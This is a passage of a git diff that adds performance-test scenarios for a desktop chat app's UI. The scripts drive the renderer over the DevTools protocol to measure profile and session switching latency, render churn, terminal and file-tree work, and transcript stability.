@@ -0,0 +1,60 @@
+// Profile-switch latency. Subsumes measure-profile-switch. Backend tier: needs
+// a configured profile in the rail and a live backend. Report-only.
+//
+//   node scripts/perf/run.mjs profile-switch --profile <name>
+
+import { SELECTORS, sleep } from '../lib/cdp.mjs'
+
+export default {
+  name: 'profile-switch',
+  tier: 'backend',
+  description: 'Click a profile in the rail and wait for its sidebar to settle.',
+  requiredOpts: ['profile'],
+  async run(cdp, opts = {}) {
+    const profile = opts.profile
+    const settleTimeoutMs = Number(opts.settleTimeoutMs ?? 60000)
+
+    if (!profile) {
+      throw new Error('profile-switch needs --profile <name>')
+    }
+
+    await cdp.send('Runtime.enable')
+
+    const t0 = await cdp.eval(`(() => {
+      const rail = document.querySelector(${JSON.stringify(SELECTORS.profileRail)})
+      if (!rail) return null
+      const target = [...rail.querySelectorAll('button, [role="tab"]')].find(b =>
+        ((b.getAttribute('aria-label') || '') + ' ' + (b.title || '') + ' ' + (b.textContent || ''))
+          .toLowerCase().includes(${JSON.stringify(String(profile).toLowerCase())}))
+      if (!target) return null
+      target.click()
+      return performance.now()
+    })()`)
+
+    if (t0 === null) {
+      throw new Error(`profile "${profile}" not found in the rail`)
+    }
+
+    const deadline = Date.now() + settleTimeoutMs
+    let settledMs = null
+
+    while (Date.now() < deadline) {
+      await sleep(100)
+      const s = await cdp.eval(`(() => {
+        const label = [...document.querySelectorAll('div[aria-hidden]')].find(el => /waking up/i.test(el.textContent || ''))
+        const overlayVisible = label ? Number(getComputedStyle(label).opacity) > 0.05 : false
+        return { t: performance.now(), overlayVisible, rows: document.querySelectorAll(${JSON.stringify(SELECTORS.rowButton)}).length }
+      })()`)
+
+      if (!s.overlayVisible && s.rows > 0) {
+        settledMs = s.t - t0
+        break
+      }
+    }
+
+    return {
+      metrics: { profile_switch_settled_ms: settledMs === null ? -1 : Math.round(settledMs) },
+      detail: { profile, timedOut: settledMs === null }
+    }
+  }
+}
diff --git a/ui-desktop/scripts/perf/scenarios/render-churn.mjs b/ui-desktop/scripts/perf/scenarios/render-churn.mjs
new file mode 100644
index 000000000..33b81f81e
--- /dev/null
+++ b/ui-desktop/scripts/perf/scenarios/render-churn.mjs
@@ -0,0 +1,259 @@
+// Render churn during multi-tab streaming: WHAT re-rendered and WHY, and which
+// store published the update. Frame pacing (see `multitab`) tells you the cost;
+// this tells you the cause.
+//
+// Drives the same synthetic pipeline as `multitab` — publishSessionState per
+// session per flush via `__CLAWCODEX_SESSION_TILES__`, no backend, no credits —
+// then reads the dev-only counters installed by `src/debug/`:
+//
+//   window.__RENDER_COUNTS__  — per-component renders, attributed to
+//                               props / hook state / parent-only ("wasted")
+//   window.__ATOM_CHURN__     — per-store notifications, listener fan-out, and
+//                               notifications whose value was deep-equal to the
+//                               previous one ("wasted")
+//
+// The headline metric is `sidebar_renders`: how many times the sidebar tree
+// re-rendered while agents were typing in other tabs. It should be 0.
+//
+//   node scripts/perf/run.mjs render-churn --spawn [--tiles 5] [--tokens 240]
+
+import { sleep } from '../lib/cdp.mjs'
+
+/** Components that make up the sidebar tree. A render of any of these while
+ *  a background tab streams is work the user cannot see. */
+const SIDEBAR_COMPONENTS = [
+  'ChatSidebar',
+  'SidebarSurface',
+  'SessionRow',
+  'SessionsSection',
+  'CronJobsSection',
+  'ProfileSwitcher',
+  'VirtualSessionList',
+  'WorkspaceGroup',
+  'OverviewRow',
+  'SessionStatusDot'
+]
+
+/** Page-side setup: open `tiles` session tiles, seed each with a transcript.
+ *  Mirrors `multitab.mjs` so the two scenarios measure the same workload. */
+const setup = (tiles, seedTurns) => `
+  (() => {
+    const hook = window.__CLAWCODEX_SESSION_TILES__
+    if (!hook) return 'no-hook'
+    if (!window.__RENDER_COUNTS__) return 'no-render-counter'
+    if (!window.__ATOM_CHURN__) return 'no-atom-churn'
+
+    const turn = (sid, i) => ([
+      { id: sid + '-u' + i, role: 'user', timestamp: Date.now(),
+        parts: [{ type: 'text', text: 'Review question ' + i + ': does the diff handle the error path?' }] },
+      { id: sid + '-a' + i, role: 'assistant', timestamp: Date.now(), pending: false,
+        parts: [{ type: 'text', text: '## Finding ' + i + '\\n\\nThe handler swallows the rejection.\\n\\n- The catch block drops the error.\\n- Retries are unbounded.\\n' }] }
+    ])
+
+    const state = (sid) => {
+      const messages = []
+      for (let i = 0; i < ${seedTurns}; i++) messages.push(...turn(sid, i))
+      messages.push({ id: sid + '-stream', role: 'assistant', timestamp: Date.now(), pending: true,
+        parts: [{ type: 'text', text: '' }] })
+      return {
+        storedSessionId: sid, messages, branch: '', cwd: '', model: '', provider: '',
+        reasoningEffort: '', serviceTier: '', fast: false, yolo: false, personality: '',
+        busy: true, awaitingResponse: false, streamId: sid + '-stream', sawAssistantPayload: true,
+        pendingBranchGroup: null, interrupted: false, interimBoundaryPending: false,
+        needsInput: false, turnStartedAt: Date.now(), usage: null
+      }
+    }
+
+    window.__RC__ = { ids: [], timer: null }
+    for (let n = 1; n <= ${tiles}; n++) {
+      const sid = 'churn-tile-' + n
+      const rid = 'churn-rt-' + n
+      window.__RC__.ids.push({ sid, rid })
+      hook.open(sid, 'center')
+      hook.patch(sid, { runtimeId: rid })
+      hook.publish(rid, state(sid))
+    }
+    return 'ok'
+  })()
+`
+
+const reveal = sid => `window.__CLAWCODEX_LAYOUT_TREE__.reveal(${JSON.stringify(`session-tile:${sid}`)})`
+
+/** Grow every tile's streaming tail by `chunk` each `intervalMs`, through the
+ *  same publish path the gateway's delta flush uses. */
+const drive = (chunk, intervalMs, totalTokens) => `
+  (() => {
+    const hook = window.__CLAWCODEX_SESSION_TILES__
+    let pushed = 0
+    const tick = () => {
+      const states = hook.states()
+      for (const { rid } of window.__RC__.ids) {
+        const prev = states[rid]
+        if (!prev) continue
+        const messages = prev.messages.map(m => {
+          if (m.id !== prev.streamId) return m
+          const head = m.parts.slice(0, -1)
+          const last = m.parts[m.parts.length - 1]
+          return { ...m, parts: [...head, { type: 'text', text: last.text + ${JSON.stringify(chunk)} }] }
+        })
+        hook.publish(rid, { ...prev, messages })
+      }
+      pushed += 1
+      if (pushed < ${totalTokens}) window.__RC__.timer = setTimeout(tick, ${intervalMs})
+      else window.__RC__.done = true
+    }
+    window.__RC__.timer = setTimeout(tick, ${intervalMs})
+    return 'driving'
+  })()
+`
+
+/** Wait until the renderer stops committing on its own, so the recording window
+ *  captures STREAMING cost and not whatever boot/hydration work happened to
+ *  still be in flight. Returns `quiet:N` once commits hold still for `quietMs`.
+ *
+ *  If it returns `timeout:...` the app never went idle at all — with tiles
+ *  marked busy and NO driver running, that means something is ticking on its
+ *  own. The report of what rendered during the wait is attached so the culprit
+ *  is named rather than guessed at. */
+const quiesce = (quietMs, timeoutMs) => `
+  (async () => {
+    const rc = window.__RENDER_COUNTS__
+    rc.start()
+    const deadline = Date.now() + ${timeoutMs}
+    const startedAt = Date.now()
+    let last = -1
+    let stableSince = Date.now()
+    while (Date.now() < deadline) {
+      await new Promise(r => setTimeout(r, 100))
+      const n = rc.commits()
+      if (n !== last) { last = n; stableSince = Date.now(); continue }
+      if (Date.now() - stableSince >= ${quietMs}) { rc.stop(); return 'quiet:' + n }
+    }
+    const idle = {
+      commits: last,
+      seconds: (Date.now() - startedAt) / 1000,
+      top: rc.report(8),
+      // Who OWNS the update? The component whose own hook state changed with
+      // no changed props is the root of a churn cascade; everything under it
+      // is collateral. Naming it is the difference between fixing the cause
+      // and memoizing a symptom.
+      owners: rc.report(200).filter(r => r.stateChanged > 0 && r.propsChanged === 0).slice(0, 8)
+    }
+    rc.stop()
+    return 'timeout:' + JSON.stringify(idle)
+  })()
+`
+
+const START = `
+  (() => {
+    window.__RENDER_COUNTS__.start()
+    window.__ATOM_CHURN__.start()
+    return 'recording'
+  })()
+`
+
+const COLLECT = `
+  (() => {
+    window.__RENDER_COUNTS__.stop()
+    window.__ATOM_CHURN__.stop()
+    return JSON.stringify({
+      commits: window.__RENDER_COUNTS__.commits(),
+      renders: window.__RENDER_COUNTS__.report(200),
+      atoms: window.__ATOM_CHURN__.report(200)
+    })
+  })()
+`
+
+const CLEANUP = `
+  (() => {
+    if (window.__RC__) {
+      clearTimeout(window.__RC__.timer)
+      for (const { sid, rid } of window.__RC__.ids) {
+        const states = window.__CLAWCODEX_SESSION_TILES__.states()
+        window.__CLAWCODEX_SESSION_TILES__.publish(rid, { ...states[rid], busy: false, streamId: null })
+        window.__CLAWCODEX_SESSION_TILES__.close(sid)
+      }
+      window.__RC__ = null
+    }
+    window.__RENDER_COUNTS__.clear()
+    window.__ATOM_CHURN__.clear()
+    return 'cleaned'
+  })()
+`
+
+export default {
+  name: 'render-churn',
+  tier: 'ci',
+  description: 'N streaming tabs: per-component render attribution + store churn.',
+  async run(cdp, opts = {}) {
+    const tiles = Number(opts.tiles ?? 5)
+    const seedTurns = Number(opts.turns ?? 20)
+    const tokens = Number(opts.tokens ?? 240)
+    // Matches STREAM_DELTA_FLUSH_MS — one publish per session per real flush.
+    const intervalMs = Number(opts.intervalMs ?? 33)
+    const chunk = opts.chunk ?? 'A streamed review sentence with **bold** and `code`.\n\n'
+
+    await cdp.send('Runtime.enable')
+
+    const ok = await cdp.eval(setup(tiles, seedTurns))
+
+    if (ok !== 'ok') {
+      throw new Error(
+        `render-churn setup failed (${ok}) — needs a dev renderer with src/debug installed ` +
+          '(the counters are aliased out of production builds unless VITE_PERF_PROBE=1).'
+      )
+    }
+
+    // Mount every tab (keep-alive mounts on first activation), then settle.
+    for (let n = 1; n <= tiles; n++) {
+      await cdp.eval(reveal(`churn-tile-${n}`))
+      await sleep(350)
+    }
+
+    // Let the app go quiet before recording, so boot/hydration commits that
+    // happen to still be in flight don't land in the streaming window. This is
+    // what makes runs comparable — a fixed sleep let 2-4x of hydration churn
+    // leak in depending on machine load.
+    const settle = await cdp.eval(quiesce(600, 15000))
+    await cdp.eval(START)
+    await cdp.eval(drive(chunk, intervalMs, tokens))
+    await sleep(tokens * intervalMs + 1500)
+
+    const data = JSON.parse(await cdp.eval(COLLECT))
+    await cdp.eval(CLEANUP)
+
+    const byName = new Map(data.renders.map(r => [r.name, r]))
+    const sidebarRows = SIDEBAR_COMPONENTS.map(n => byName.get(n)).filter(Boolean)
+    const sidebarRenders = sidebarRows.reduce((a, r) => a + r.renders, 0)
+    const sidebarWasted = sidebarRows.reduce((a, r) => a + r.wasted, 0)
+    const totalRenders = data.renders.reduce((a, r) => a + r.renders, 0)
+    const totalWasted = data.renders.reduce((a, r) => a + r.wasted, 0)
+    const atomWasted = data.atoms.reduce((a, r) => a + r.wasted, 0)
+
+    return {
+      metrics: {
+        // The hypothesis, as a number: sidebar renders while background tabs
+        // stream. Should be 0.
+        sidebar_renders: sidebarRenders,
+        sidebar_wasted: sidebarWasted,
+        // Renders with no changed props and no changed hook state — pure
+        // parent-driven work, across the whole tree.
+        wasted_renders: totalWasted,
+        total_renders: totalRenders,
+        commits: data.commits,
+        // Store notifications that published a value equal to the last one.
+        wasted_notifies: atomWasted
+      },
+      detail: {
+        tiles,
+        tokens,
+        // 'quiet:N' = the app went idle before recording (comparable run).
+        // 'timeout:N' = it never did, so boot churn is mixed into the numbers.
+        settle,
+        sidebar: sidebarRows,
+        topRenders: data.renders.slice(0, 15),
+        topAtoms: data.atoms.slice(0, 15)
+      }
+    }
+  }
+}
diff --git a/ui-desktop/scripts/perf/scenarios/right-pane.mjs b/ui-desktop/scripts/perf/scenarios/right-pane.mjs
new file mode 100644
index 000000000..7477b7281
--- /dev/null
+++ b/ui-desktop/scripts/perf/scenarios/right-pane.mjs
@@ -0,0 +1,315 @@
+// File-tree + terminal workspace stress. This is the regression scene for the
+// desktop symptom where opening the project tree/terminal made the whole page
+// hitch while chat and PTY output continued.
+//
+// It mounts a real project tree, one PTY plus multiple persistent xterm tabs,
+// streams chat and terminal output together, mutates Git decoration state, and
+// drags the terminal split. The debug probe records the specific work we care
+// about rather than inferring it from CPU alone:
+//   - fixed-overlay measurements
+//   - active/hidden xterm fits
+//   - ProjectTree + per-path row renders
+//   - frame pacing / slow frames
+//
+//   npm run perf -- right-pane --spawn --prod --runs 3
+
+import { dirname, resolve } from 'node:path'
+import { fileURLToPath } from 'node:url'
+
+import { sleep } from '../lib/cdp.mjs'
+import { frameHistogram, percentile } from '../lib/stats.mjs'
+
+const DEFAULT_CWD = resolve(dirname(fileURLToPath(import.meta.url)), '../../..')
+
+const RECORDERS = `
+  (() => {
+    window.__RP_FRAME_GEN__ = (window.__RP_FRAME_GEN__ || 0) + 1
+    const generation = window.__RP_FRAME_GEN__
+    window.__RP_FRAMES__ = { times: [], stop: false }
+    let last = performance.now()
+    const tick = () => {
+      if (window.__RP_FRAME_GEN__ !== generation || window.__RP_FRAMES__.stop) return
+      const now = performance.now()
+      window.__RP_FRAMES__.times.push(now - last)
+      last = now
+      requestAnimationFrame(tick)
+    }
+    requestAnimationFrame(tick)
+
+    window.__RP_LONG__ = { entries: [], stop: false }
+    try {
+      const observer = new PerformanceObserver(list => {
+        if (window.__RP_LONG__.stop) return
+        for (const entry of list.getEntries()) {
+          window.__RP_LONG__.entries.push({ duration: entry.duration, startTime: entry.startTime })
+        }
+      })
+      observer.observe({ entryTypes: ['longtask'] })
+      window.__RP_LONG__.observer = observer
+    } catch {}
+    return 'armed'
+  })()
+`
+
+const COLLECT_RECORDERS = `
+  (() => {
+    window.__RP_FRAMES__.stop = true
+    window.__RP_LONG__.stop = true
+    try { window.__RP_LONG__.observer && window.__RP_LONG__.observer.disconnect() } catch {}
+    return JSON.stringify({ frames: window.__RP_FRAMES__.times, longtasks: window.__RP_LONG__.entries })
+  })()
+`
+
+const START_COUNTERS = `window.__RIGHT_PANE_PERF__.start(); 'recording'`
+const SNAPSHOT_COUNTERS = `
+  (() => {
+    window.__RIGHT_PANE_PERF__.stop()
+    return JSON.stringify(window.__RIGHT_PANE_PERF__.snapshot())
+  })()
+`
+
+const DRAG_TERMINAL_SPLIT = `
+  (async () => {
+    const slot = document.querySelector('[data-terminal-slot]')
+    const overlay = document.querySelector('[data-persistent-terminal]')
+    if (!slot || !overlay) return JSON.stringify({ target: 'none', drift: -1, moved: 0 })
+
+    const slotBox = slot.getBoundingClientRect()
+    const candidates = [...document.querySelectorAll('[role="separator"]')]
+      .map(element => ({ element, box: element.getBoundingClientRect() }))
+      .filter(item => item.box.width > item.box.height * 3)
+      .sort((a, b) =>
+        Math.abs((a.box.top + a.box.bottom) / 2 - slotBox.top) -
+        Math.abs((b.box.top + b.box.bottom) / 2 - slotBox.top)
+      )
+    const target = candidates[0]
+    if (!target) return JSON.stringify({ target: 'none', drift: -1, moved: 0 })
+
+    const x = target.box.left + target.box.width / 2
+    const y0 = target.box.top + target.box.height / 2
+    let y = y0
+    const pointer = {
+      bubbles: true, cancelable: true, pointerId: 91, pointerType: 'mouse',
+      isPrimary: true, button: 0, buttons: 1
+    }
+    target.element.dispatchEvent(new PointerEvent('pointerdown', { ...pointer, clientX: x, clientY: y }))
+
+    for (let i = 0; i < 24; i += 1) {
+      y -= 1
+      window.dispatchEvent(new PointerEvent('pointermove', { ...pointer, clientX: x, clientY: y }))
+      await new Promise(resolve => requestAnimationFrame(resolve))
+    }
+    for (let i = 0; i < 24; i += 1) {
+      y += 1
+      window.dispatchEvent(new PointerEvent('pointermove', { ...pointer, clientX: x, clientY: y }))
+      await new Promise(resolve => requestAnimationFrame(resolve))
+    }
+    window.dispatchEvent(new PointerEvent('pointerup', { ...pointer, buttons: 0, clientX: x, clientY: y }))
+    // Track-size transitions continue briefly after pointerup. Wait through
+    // that animation, then give the overlay its normal two-frame calibration.
+    await new Promise(resolve => setTimeout(resolve, 350))
+    await new Promise(resolve => requestAnimationFrame(() => requestAnimationFrame(resolve)))
+
+    const a = slot.getBoundingClientRect()
+    const b = overlay.getBoundingClientRect()
+    const drift = Math.max(
+      Math.abs(a.top - b.top),
+      Math.abs(a.left - b.left),
+      Math.abs(a.width - b.width),
+      Math.abs(a.height - b.height)
+    )
+    return JSON.stringify({ target: 'horizontal-separator', drift, moved: 24 })
+  })()
+`
+
+async function waitFor(cdp, expression, label, timeoutMs = 20000) {
+  const deadline = Date.now() + timeoutMs
+
+  while (Date.now() < deadline) {
+    if (await cdp.eval(expression)) {
+      return
+    }
+
+    await sleep(100)
+  }
+
+  throw new Error(`right-pane timed out waiting for ${label}`)
+}
+
+const trimWarmup = (frames, warmupMs = 300) => {
+  const kept = []
+  let elapsed = 0
+
+  for (const frame of frames) {
+    elapsed += frame
+
+    if (elapsed >= warmupMs) {
+      kept.push(frame)
+    }
+  }
+
+  return kept
+}
+
+export default {
+  name: 'right-pane',
+  tier: 'report',
+  description: 'Project tree + persistent terminal tabs under chat/terminal output and split dragging.',
+  async run(cdp, opts = {}) {
+    const cwd = resolve(String(opts.cwd ?? DEFAULT_CWD))
+    const terminalCount = Math.max(2, Number(opts.terminals ?? 3))
+    const tokens = Number(opts.tokens ?? 90)
+    const outputChunks = Number(opts.outputChunks ?? 160)
+
+    await cdp.send('Runtime.enable')
+
+    const ready = await cdp.eval(
+      `!!(window.__PERF_DRIVE__?.rightPaneSetup && window.__RIGHT_PANE_PERF__ && window.__CLAWCODEX_LAYOUT_TREE__)`
+    )
+
+    if (!ready) {
+      throw new Error('right-pane needs a dev renderer or a production build with VITE_PERF_PROBE=1.')
+    }
+
+    let setup
+
+    try {
+      setup = await cdp.eval(
+        `window.__PERF_DRIVE__.rightPaneSetup(${JSON.stringify({ cwd, terminals: terminalCount })})`
+      )
+      await cdp.eval(`window.__CLAWCODEX_LAYOUT_TREE__.reveal('files'); window.__CLAWCODEX_LAYOUT_TREE__.reveal('terminal')`)
+      await waitFor(cdp, `!!document.querySelector('[data-project-tree]')`, 'project tree')
+      await waitFor(
+        cdp,
+        `!!document.querySelector('[data-terminal-slot]') && !!document.querySelector('[data-persistent-terminal]')`,
+        'persistent terminal'
+      )
+      await waitFor(
+        cdp,
+        `document.querySelectorAll('[data-terminal] .xterm').length >= ${terminalCount}`,
+        `${terminalCount} mounted xterms`,
+        30000
+      )
+      await sleep(1200)
+
+      // Activate every keep-alive tab once, then return to the output tab.
+      // Each activation should restore exactly one fit; inactive tabs must stay
+      // at zero even while another tab resizes or writes output.
+      await cdp.eval(START_COUNTERS)
+
+      for (const id of setup.terminalIds) {
+        await cdp.eval(`window.__PERF_DRIVE__.rightPaneSelect(${JSON.stringify(id)})`)
+        await sleep(180)
+      }
+
+      const activation = JSON.parse(await cdp.eval(SNAPSHOT_COUNTERS))
+
+      await cdp.eval(RECORDERS)
+
+      // Chat DOM churn is deliberately measured in its own counter window:
+      // terminal positioning should receive no wakeups from transcript changes.
+      await cdp.eval(START_COUNTERS)
+      await cdp.eval(
+        `window.__PERF_DRIVE__.stream({
+          chunk: 'Right pane streaming sentence with **bold** and \`code\`.\\n\\n',
+          intervalMs: 16,
+          totalTokens: ${tokens},
+          flushMinMs: 33
+        })`
+      )
+      await cdp.eval(`
+        (() => {
+          let n = 0
+          window.__RP_OUTPUT_TIMER__ = setInterval(() => {
+            window.__PERF_DRIVE__.rightPaneWrite(
+              ${JSON.stringify(setup.procId)},
+              'terminal output line ' + n + ' ........................................\\r\\n'
+            )
+            n += 1
+            if (n >= ${outputChunks}) clearInterval(window.__RP_OUTPUT_TIMER__)
+          }, 16)
+          return 'writing'
+        })()
+      `)
+      await sleep(Math.max(tokens, outputChunks) * 16 + 900)
+      const stream = JSON.parse(await cdp.eval(SNAPSHOT_COUNTERS))
+
+      // An unrelated Git status publication should render neither the tree root
+      // nor any visible row. A status for one visible path should touch only it.
+      await cdp.eval(START_COUNTERS)
+      await cdp.eval(`window.__PERF_DRIVE__.rightPaneGit('__right_pane_unrelated__.txt', 'modified')`)
+      await sleep(250)
+      const unrelatedGit = JSON.parse(await cdp.eval(SNAPSHOT_COUNTERS))
+
+      const visiblePath = await cdp.eval(
+        `document.querySelector('[data-project-tree] [title]')?.getAttribute('title') || ''`
+      )
+      let affectedGit = { counts: { 'project-tree-render': 0, 'project-tree-row-render': 0 }, rows: {} }
+
+      if (visiblePath) {
+        const relative = String(visiblePath).startsWith(`${cwd}/`)
+          ? String(visiblePath).slice(cwd.length + 1)
+          : String(visiblePath)
+        await cdp.eval(START_COUNTERS)
+        await cdp.eval(`window.__PERF_DRIVE__.rightPaneGit(${JSON.stringify(relative)}, 'modified')`)
+        await sleep(250)
+        affectedGit = JSON.parse(await cdp.eval(SNAPSHOT_COUNTERS))
+      }
+
+      await cdp.eval(START_COUNTERS)
+      const drag = JSON.parse(await cdp.eval(DRAG_TERMINAL_SPLIT))
+      const dragCounters = JSON.parse(await cdp.eval(SNAPSHOT_COUNTERS))
+      const recorded = JSON.parse(await cdp.eval(COLLECT_RECORDERS))
+      const frames = trimWarmup(recorded.frames)
+      const longtasks = recorded.longtasks.map(entry => entry.duration)
+      const streamCounts = stream.counts
+      const activationCounts = activation.counts
+      const unrelatedCounts = unrelatedGit.counts
+      const affectedRows = Object.values(affectedGit.rows).reduce((sum, count) => sum + count, 0)
+      const affectedPaths = Object.keys(affectedGit.rows).length
+
+      if (drag.target === 'none') {
+        throw new Error('right-pane found no horizontal terminal split separator.')
+      }
+
+      return {
+        metrics: {
+          chat_terminal_measures: streamCounts['terminal-measure'],
+          hidden_terminal_fits: activationCounts['terminal-fit-hidden'] + streamCounts['terminal-fit-hidden'],
+          activation_fit_mismatch: Math.abs(activationCounts['terminal-fit-active'] - setup.terminalIds.length),
+          unrelated_tree_renders: unrelatedCounts['project-tree-render'],
+          unrelated_row_renders: unrelatedCounts['project-tree-row-render'],
+          affected_tree_renders: affectedGit.counts['project-tree-render'],
+          affected_row_path_excess: Math.max(0, affectedPaths - 1),
+          terminal_drift_px: Math.round(drag.drift * 10) / 10,
+          frame_p95_ms: Math.round(percentile(frames, 0.95) * 10) / 10,
+          frame_p99_ms: Math.round(percentile(frames, 0.99) * 10) / 10,
+          slow_frames_33: frames.filter(frame => frame > 33).length,
+          longtask_max_ms: Math.round((longtasks.length ? Math.max(...longtasks) : 0) * 10) / 10
+        },
+        detail: {
+          cwd,
+          terminals: setup.terminalIds.length,
+          activation,
+          stream,
+          unrelatedGit,
+          affectedGit,
+          affectedRows,
+          drag,
+          dragCounters,
+          frameHistogram: frameHistogram(frames),
+          frames: frames.length
+        }
+      }
+    } finally {
+      await cdp.eval(`
+        (() => {
+          clearInterval(window.__RP_OUTPUT_TIMER__)
+          window.__RIGHT_PANE_PERF__?.stop()
+          window.__PERF_DRIVE__?.reset()
+          return 'cleaned'
+        })()
+      `)
+    }
+  }
+}
diff --git a/ui-desktop/scripts/perf/scenarios/session-load.mjs b/ui-desktop/scripts/perf/scenarios/session-load.mjs
new file mode 100644
index 000000000..51d3ca224
--- /dev/null
+++ b/ui-desktop/scripts/perf/scenarios/session-load.mjs
@@ -0,0 +1,136 @@
+// Visual stability of a session LOAD. Sibling to `submit` (which measures the
+// jump on Enter); this one measures the jump on opening a session — the
+// prepend/settle path, not the append path.
+//
+// Clicks sidebar rows and tracks the bottom-most turn's on-screen top every
+// frame. A clean load never moves it after first paint; a janky one strands it
+// thousands of px away while the render-budget backfill and stick-to-bottom
+// argue. Backend tier: needs real stored sessions in the sidebar.
+//
+//   node scripts/perf/run.mjs session-load --rows 2,5,8 --rounds 2
+
+import { SELECTORS, sleep } from '../lib/cdp.mjs'
+import { summarize } from '../lib/stats.mjs'
+
+// Below this a shift is sub-perceptual (sub-pixel rounding, a settling caret).
+const SHIFT_PX = 4
+
+const ARM = `
+  (() => {
+    const samples = []
+    const t0 = performance.now()
+    let running = true
+
+    const tick = () => {
+      if (!running) return
+      const v = document.querySelector(${JSON.stringify(SELECTORS.threadViewport)})
+
+      if (v) {
+        const turns = v.querySelectorAll(
+          ${JSON.stringify(SELECTORS.turnPair)} + ',' + ${JSON.stringify(SELECTORS.assistantMessage)}
+        )
+        const last = turns[turns.length - 1]
+        const rect = last && last.getBoundingClientRect()
+        samples.push({
+          st: Math.round(v.scrollTop),
+          sh: v.scrollHeight,
+          ch: v.clientHeight,
+          bottomTop: rect ? Math.round(rect.top - v.getBoundingClientRect().top) : null,
+          turns: turns.length,
+          t: Math.round(performance.now() - t0)
+        })
+      }
+
+      requestAnimationFrame(tick)
+    }
+
+    requestAnimationFrame(tick)
+    window.__SL = { samples, stop() { running = false } }
+  })()
+`
+
+const CLICK = index => `
+  (() => {
+    const rows = [...document.querySelectorAll(${JSON.stringify(SELECTORS.rowButton)})].filter(el => el.offsetParent)
+    const row = rows[${index}]
+    if (!row) return null
+    row.click()
+    return (row.textContent ?? '').slice(0, 34)
+  })()
+`
+
+/** Total/max on-screen movement of the bottom turn after it first paints. */
+function measureLoad(samples) {
+  const painted = samples.findIndex(s => s.turns > 0)
+  const after = painted === -1 ? [] : samples.slice(painted)
+  const load = { maxShiftPx: 0, offBottomFrames: 0, settledMs: 0, shiftedPx: 0, shifts: 0 }
+  let previous = null
+
+  for (const sample of after) {
+    if (sample.sh - (sample.st + sample.ch) > 2) {
+      load.offBottomFrames += 1
+    }
+
+    if (previous?.bottomTop != null && sample.bottomTop != null) {
+      const delta = Math.abs(sample.bottomTop - previous.bottomTop)
+
+      if (delta > SHIFT_PX) {
+        load.maxShiftPx = Math.max(load.maxShiftPx, delta)
+        load.settledMs = sample.t
+        load.shiftedPx += delta
+        load.shifts += 1
+      }
+    }
+
+    previous = sample
+  }
+
+  return load
+}
+
+export default {
+  name: 'session-load',
+  tier: 'backend',
+  description: 'Visual stability of opening a session: how far the transcript moves after first paint.',
+  async run(cdp, opts = {}) {
+    const rows = String(opts.rows ?? '2,5,8').split(',').map(Number)
+    const rounds = Number(opts.rounds ?? 2)
+    const watchMs = Number(opts.watchMs ?? 4500)
+
+    await cdp.send('Runtime.enable')
+
+    const loads = []
+
+    for (let round = 0; round < rounds; round++) {
+      for (const index of rows) {
+        await cdp.eval(ARM)
+
+        if (!(await cdp.eval(CLICK(index)))) {
+          continue
+        }
+
+        await sleep(watchMs)
+        const { samples } = await cdp.eval('(() => { window.__SL.stop(); return window.__SL })()')
+        loads.push(measureLoad(samples))
+      }
+
+      await sleep(500)
+    }
+
+    if (!loads.length) {
+      throw new Error('session-load found no sidebar rows to click')
+    }
+
+    const total = key => loads.reduce((sum, load) => sum + load[key], 0)
+
+    return {
+      metrics: {
+        load_max_shift_px: Math.max(...loads.map(load => load.maxShiftPx)),
+        load_off_bottom_frames: Math.round(total('offBottomFrames') / loads.length),
+        load_settled_p95_ms: summarize(loads.map(load => load.settledMs)).p95,
+        load_shifted_px: Math.round(total('shiftedPx') / loads.length)
+      },
+      detail: { loads: loads.length, shiftsPerLoad: total('shifts') / loads.length }
+    }
+  }
+}
diff --git a/ui-desktop/scripts/perf/scenarios/session-switch.mjs b/ui-desktop/scripts/perf/scenarios/session-switch.mjs
new file mode 100644
index 000000000..fb7fb383d
--- /dev/null
+++ b/ui-desktop/scripts/perf/scenarios/session-switch.mjs
@@ -0,0 +1,80 @@
+// Session-switch latency. Subsumes profile-session-switch. Backend tier: needs
+// two real stored session ids and a live backend. Report-only.
+//
+//   node scripts/perf/run.mjs session-switch --a <sidA> --b <sidB> [--rounds 2]
+
+import { SELECTORS, sleep } from '../lib/cdp.mjs'
+import { summarize } from '../lib/stats.mjs'
+
+export default {
+  name: 'session-switch',
+  tier: 'backend',
+  description: 'Route to a session and wait for first-paint + settle of its transcript.',
+  requiredOpts: ['a', 'b'],
+  async run(cdp, opts = {}) {
+    const { a, b } = opts
+    const rounds = Number(opts.rounds ?? 2)
+    const settleTimeoutMs = Number(opts.settleTimeoutMs ?? 30000)
+
+    if (!a || !b) {
+      throw new Error('session-switch needs --a <sessionId> --b <sessionId>')
+    }
+
+    await cdp.send('Runtime.enable')
+
+    const switchTo = async sid => {
+      const t0 = await cdp.eval(`(() => { location.hash = '#/' + ${JSON.stringify(sid)}; return performance.now() })()`)
+      const deadline = Date.now() + settleTimeoutMs
+      let firstPaint = null
+      let stable = 0
+      let lastCount = -1
+
+      while (Date.now() < deadline) {
+        await sleep(50)
+        const s = await cdp.eval(`({
+          t: performance.now(),
+          route: location.hash,
+          msgs: document.querySelectorAll(${JSON.stringify(SELECTORS.assistantMessage)}).length
+        })`)
+
+        if (!String(s.route).includes(sid)) {
+          continue
+        }
+
+        if (s.msgs > 0 && firstPaint === null) {
+          firstPaint = s.t - t0
+        }
+
+        stable = s.msgs === lastCount && s.msgs > 0 ? stable + 1 : 0
+        lastCount = s.msgs
+
+        if (stable >= 3) {
+          return { firstPaint, settled: s.t - t0 }
+        }
+      }
+
+      return { firstPaint, settled: null }
+    }
+
+    const firstPaints = []
+    const settles = []
+
+    for (let round = 0; round < rounds; round++) {
+      for (const sid of [a, b]) {
+        const r = await switchTo(sid)
+
+        if (typeof r.firstPaint === 'number') firstPaints.push(r.firstPaint)
+        if (typeof r.settled === 'number') settles.push(r.settled)
+        await sleep(800)
+      }
+    }
+
+    return {
+      metrics: {
+        switch_first_paint_p95_ms: summarize(firstPaints).p95,
+        switch_settled_p95_ms: summarize(settles).p95
+      },
+      detail: { rounds, firstPaint: summarize(firstPaints), settled: summarize(settles) }
+    }
+  }
+}
diff --git a/ui-desktop/scripts/perf/scenarios/stream-history.mjs b/ui-desktop/scripts/perf/scenarios/stream-history.mjs
new file mode 100644
index 000000000..d807f3f35
--- /dev/null
+++ b/ui-desktop/scripts/perf/scenarios/stream-history.mjs
@@ -0,0 +1,18 @@
+// Streaming into an ALREADY-LONG transcript. Same measurement as `stream`, but
+// the history is mounted and allowed to settle before the recorders start, so
+// what it captures is the per-delta cost that scales with transcript length —
+// the regression reported in #69120.
+//
+// Report-only (tier: manual): the number depends on how much history the host
+// can mount, so it is not gated against the committed baseline.
+
